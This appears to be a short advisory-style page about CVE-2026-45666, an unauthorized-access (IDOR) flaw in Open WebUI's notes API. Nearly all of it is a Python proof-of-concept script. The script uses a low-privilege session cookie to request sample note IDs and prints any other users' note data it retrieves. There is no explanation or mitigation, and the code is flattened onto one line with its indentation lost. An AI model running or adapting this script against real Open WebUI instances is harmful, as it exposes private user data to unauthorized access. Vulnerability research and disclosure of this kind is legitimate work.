CVE-2026-45666 Open WebUI 越权访问漏洞

import requests def exploit_idor(target_host, session_cookie): """ Proof of Concept for CVE-2026-45666 Demonstrates IDOR vulnerability in Open WebUI /api/v1/notes/{note_id} """ headers = { "Cookie": f"auth_token={session_cookie}", "User-Agent": "CVE-2026-45666-Scanner" } # Example UUIDs to enumerate uuids_to_test = [ "00000000-0000-0000-0000-000000000001", "00000000-0000-0000-0000-000000000002", "123e4567-e89b-12d3-a456-426614174000" ] print(f"[*] Starting IDOR scan against {target_host}") for note_id in uuids_to_test: url = f"{target_host}/api/v1/notes/{note_id}" try: response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Vulnerable! Retrieved data for {note_id}:") print(response.json()) elif response.status_code == 401: print("[-] Authentication failed. Check session cookie.") break elif response.status_code == 404: print(f"[.] Note ID {note_id} not found (trying next...)") except Exception as e: print(f"[!] Error connecting to {url}: {e}") if __name__ == "__main__": # Replace with actual target and a valid authenticated cookie TARGET = "http://localhost:3000" COOKIE = "VALID_LOW_PRIV_USER_COOKIE_HERE" exploit_idor(TARGET, COOKIE)